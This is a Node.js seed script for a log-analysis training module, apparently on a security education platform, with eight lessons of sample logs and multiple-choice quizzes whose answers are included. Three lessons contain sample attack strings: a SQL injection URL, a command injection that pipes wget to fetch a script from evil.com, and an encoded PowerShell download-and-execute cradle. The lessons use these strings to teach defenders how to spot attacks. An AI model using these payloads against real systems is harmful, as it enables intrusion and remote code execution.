const db = require('../db');

async function createLogAnalysisLessons() {
    try {
        console.log('🚀 Creating Log Analysis Lessons (Module 12)\n');

        // 1. Rename Module if needed (It's already Log Analysis, but let's refine description)
        await db.query(`UPDATE modules SET title = 'Log Analysis Fundamentals', description = 'Master the art of reading logs, from basic authentication to advanced attack detection.', estimated_hours = 8 WHERE id = 12`);

        // 2. Define Tasks
        const tasks = [
            { id: 54, title: 'Anatomy of a Log' },
            { id: 55, title: 'SSH Authentication' },
            { id: 56, title: 'Web Access Logs' },
            { id: 57, title: 'Windows Event Logs' },
            { id: 58, title: 'Detecting Web Attacks' },
            { id: 59, title: 'Firewall & Network Logs' },
            { id: 60, title: 'Command Injection' },
            { id: 61, title: 'Advanced Obfuscation' }
        ];

        // Update task titles
        for (const t of tasks) {
            await db.query(`UPDATE tasks SET title = ?, is_active = 1 WHERE id = ?`, [t.title, t.id]);
        }

        // 3. Content Mapping
        const lessons = {
            54: {
                title: 'Anatomy of a Log',
                content: `# Level 1: The Basics

Every log entry tells a story. At a minimum, it answers **When**, **Who**, **Where**, and **What**.

### Teaching Example
\`\`\`
2023-10-25 08:30:15 INFO [AuthService] User 'alice' logged in successfully from IP 192.168.1.10
\`\`\`
This shows that Alice logged in. Simple.

## Challenge Data
Analyze the following log entry to answer the questions below:
\`\`\`
2023-11-01 14:22:10 ERROR [DatabaseService] Connection timeout from User 'db_admin' at IP 10.20.30.40 while accessing 'users_db'
\`\`\`
`,
                questions: [
                    ['What is the severity level of the Challenge Log?', 'ERROR', 'Keyword after timestamp', ['INFO', 'DEBUG', 'ERROR', 'FATAL']],
                    ['Which user was involved in the event?', 'db_admin', 'User field', ['alice', 'admin', 'db_admin', 'root']],
                    ['What database was being accessed?', 'users_db', 'Accessing...', ['auth_db', 'users_db', 'main_db', 'logs']]
                ]
            },
            55: {
                title: 'SSH Authentication',
                content: `# Level 2: SSH Logs

Linux logs authentication attempts to \`/var/log/auth.log\`.

### Teaching Example
\`\`\`
Accepted password for root from ...
Failed password for invalid user ...
\`\`\`
*   **Accepted** = Good.
*   **Failed** = Bad.

## Challenge Data
Analyze these three log entries:
\`\`\`
Nov 10 10:00:01 server1 sshd[100]: Failed password for invalid user guest from 192.168.1.100 port 2222
Nov 10 10:00:02 server1 sshd[101]: Failed password for invalid user guest from 192.168.1.100 port 2222
Nov 10 10:00:05 server1 sshd[102]: Accepted password for root from 192.168.1.55 port 2222
\`\`\`
`,
                questions: [
                    ['How many failed attempts are shown?', '2', 'Count "Failed"', ['1', '2', '3', '0']],
                    ['Which user successfully logged in?', 'root', 'Look for "Accepted"', ['guest', 'admin', 'root', 'user']],
                    ['What port is the SSH server running on?', '2222', 'port ...', ['22', '80', '2222', '443']]
                ]
            },
            56: {
                title: 'Web Access Logs',
                content: `# Level 3: Web Access

Web logs track every request to your server.

### Teaching Example
\`GET /index.html 200\` means the user successfully requested the home page.

## Challenge Data
Review this specific access log:
\`\`\`
172.16.10.5 - - [12/Nov/2023:15:30:45 +0000] "POST /admin/login.php HTTP/1.1" 401 532 "Mozilla/5.0 (Windows NT 10.0)"
\`\`\`
`,
                questions: [
                    ['What HTTP method was used in the challenge?', 'POST', 'First word inside quotes', ['GET', 'POST', 'PUT', 'HEAD']],
                    ['What status code was returned?', '401', 'Number after HTTP version', ['200', '404', '401', '500']],
                    ['What page was requested?', '/admin/login.php', 'Path', ['/index.html', '/admin/login.php', '/login', '/home']]
                ]
            },
            57: {
                title: 'Windows Event Logs',
                content: `# Level 4: Windows Security

Windows uses Event IDs.
*   **4624**: Success
*   **4625**: Failure

## Challenge Data
Analyze this parsed Windows Event:
\`\`\`
EventID: 4625
Logon Type: 3
Account Name: administrator
Failure Reason: Account locked out
Source Network Address: 10.0.0.88
\`\`\`
`,
                questions: [
                    ['What is the specific failure reason?', 'Account locked out', 'Read Failure Reason', ['Bad password', 'Account locked out', 'Unknown user', 'Wrong domain']],
                    ['What is the Event ID?', '4625', 'Top line', ['4624', '4625', '4672', '1000']],
                    ['Which IP address initiated the request?', '10.0.0.88', 'Source Network Address', ['127.0.0.1', '10.0.0.88', '192.168.1.1', '0.0.0.0']]
                ]
            },
            58: {
                title: 'Detecting Web Attacks',
                content: `# Level 5: Attack Signatures (SQLi)

Attackers leave patterns in the logs. SQL Injection often looks like \`UNION SELECT\` or \`OR 1=1\`.

## Challenge Data
Analyze this suspicious log entry:
\`\`\`
192.168.50.50 - - [15/Nov/2023:18:00:00] "GET /search.php?q=monitor%27+UNION+SELECT+1,database(),user()-- HTTP/1.1" 200 4050
\`\`\`
`,
                questions: [
                    ['What SQL command is visible in the URL?', 'UNION SELECT', 'Keyword', ['DROP TABLE', 'UNION SELECT', 'UPDATE', 'INSERT']],
                    ['What does %27 represent in URL encoding?', "Single Quote (')", 'Hex for quote', ['Space', "Single Quote (')", 'Double Quote (")', 'Percent Sign']],
                    ['Did the server block this request?', 'No (Status 200)', 'Status code', ['Yes (403)', 'No (Status 200)', 'Yes (500)', 'Maybe']]
                ]
            },
            59: {
                title: 'Firewall & Network Logs',
                content: `# Level 6: Firewall Blocks

Firewalls allow or deny traffic based on rules.

## Challenge Data
Analyze this firewall log:
\`\`\`
Nov 20 22:15:00 firewall-1 kernel: [DROP] IN=eth0 SRC=203.0.113.5 DST=192.168.1.10 PROTO=TCP SPT=60000 DPT=3389 FLAGS=SYN
\`\`\`
`,
                questions: [
                    ['What describes the destination port 3389?', 'RDP (Remote Desktop)', 'Common Port', ['SSH', 'HTTP', 'RDP (Remote Desktop)', 'FTP']],
                    ['What flag indicates a connection attempt?', 'SYN', 'TCP Flag', ['ACK', 'SYN', 'FIN', 'RST']],
                    ['Was the connection allowed?', 'No (DROP)', 'Action', ['Yes (ACCEPT)', 'No (DROP)', 'Logged only', 'Unknown']]
                ]
            },
            60: {
                title: 'Command Injection',
                content: `# Level 7: RCE Indicators

Command Injection often uses separators like \`;\`, \`|\`, or \`&&\` to chain commands.

## Challenge Data
Analyze this web log:
\`\`\`
10.0.5.5 - - [22/Nov/2023:09:00:00] "GET /check_status.php?host=google.com%7Cwget+http://evil.com/malware.sh HTTP/1.1" 200 150
\`\`\`
`,
                questions: [
                    ['What malicious command is being downloaded?', 'malware.sh', 'File name', ['virus.exe', 'malware.sh', 'test.txt', 'config.php']],
                    ['What tool is used to download the file?', 'wget', 'Command', ['curl', 'wget', 'cat', 'ping']],
                    ['What character is encoded as %7C?', 'Pipe (|)', 'Separator', ['Semicolon (;)', 'Pipe (|)', 'Ampersand (&)', 'Space']]
                ]
            },
            61: {
                title: 'Advanced Obfuscation',
                content: `# Level 8: PowerShell Obfuscation

Attackers hide commands using Base64 encoding.

## Challenge Data
Analyze the following PowerShell event:
\`\`\`
Host Application: powershell.exe
Parameters: -NoP -NonI -W Hidden -Enc SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwOi8vbWFsaWNpb3VzLmNvbS9ydW4ucHcxIik=
\`\`\`
*(Hint: The decoded text is \`IEX (New-Object Net.WebClient).DownloadString("http://malicious.com/run.pw1")\`)*`,
                questions: [
                    ['What does the decoded command try to do?', 'Download a script', 'DownloadString', ['Delete files', 'Download a script', 'Encrypt drive', 'Add user']],
                    ['What command is executed after downloading?', 'IEX (Invoke-Expression)', 'First word decoded', ['cmd.exe', 'IEX (Invoke-Expression)', 'Start-Process', 'Write-Host']],
                    ['What parameter indicates the command is encoded?', '-Enc', 'Short for -EncodedCommand', ['-NoP', '-NonI', '-W', '-Enc']]
                ]
            }
        };

        let totalCreated = 0;
        
        // Iterate through the lesson keys (IDs)
        for (const [idStr, lesson] of Object.entries(lessons)) {
            const taskId = parseInt(idStr);
            console.log(`Processing Task ${taskId}: ${lesson.title}`);

            // Clean up existing content
            await db.query('DELETE FROM lesson_content WHERE task_id = ?', [taskId]);
            await db.query('DELETE FROM lesson_questions WHERE task_id = ?', [taskId]);

            // Insert Content
            await db.query('INSERT INTO lesson_content (task_id, content, content_type, reading_time_minutes) VALUES (?, ?, ?, ?)',
                [taskId, lesson.content, 'markdown', 10]);

            // Insert Questions (3 max)
            for (let j = 0; j < Math.min(lesson.questions.length, 3); j++) {
                const q = lesson.questions[j];
                const options = q[3] ? JSON.stringify(q[3]) : null;
                await db.query('INSERT INTO lesson_questions (task_id, question_text, correct_answer, question_order, hint, options, case_sensitive) VALUES (?, ?, ?, ?, ?, ?, ?)',
                    [taskId, q[0], q[1], j + 1, q[2], options, 0]);
            }
            totalCreated++;
        }

        console.log(`\n✅ Log Analysis Fundamentals (Module 12) Created! (${totalCreated} lessons)\n`);
        process.exit(0);
    } catch (error) {
        console.error('Error:', error);
        process.exit(1);
    }
}

createLogAnalysisLessons();
